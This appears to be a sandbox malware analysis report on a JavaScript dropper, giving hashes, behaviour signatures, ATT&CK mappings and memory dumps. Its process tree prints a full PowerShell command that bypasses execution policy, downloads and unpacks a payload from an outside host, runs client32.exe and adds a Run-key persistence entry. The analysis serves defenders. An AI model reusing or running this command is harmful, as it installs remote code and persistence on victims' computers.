7e630371fe8015da34a33370dafc9da2bae45531a4376fd5053a45d8193b4c15

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29/08/2023, 08:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

229122912291.js
Size

3KB
MD5

0632bc0a930491c5232dafbb3d4d2bf8
SHA1

de9c86da5b0a3961baef803c483b7815957d429b
SHA256

7e630371fe8015da34a33370dafc9da2bae45531a4376fd5053a45d8193b4c15
SHA512

b5d84a0ff5ad63337e7e8cefea56403cd77f8243a2c4ef28a0f5b702eb180e40ec4b5a5cfaffd230394e413b620e343629c0e104c8b7c4185a687ebe8eb3b23d

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://instalfrio.cl/destination.txt

exe.dropper

http://instalfrio.cl/destination.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2896	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2896	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 2896	2676	wscript.exe	28
PID 2676 wrote to memory of 2896	2676	wscript.exe	28
PID 2676 wrote to memory of 2896	2676	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\229122912291.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2896-4-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/2896-5-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2896-6-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-7-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2896-8-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2896-9-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2896-10-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-11-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2896-12-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-15-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-14-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download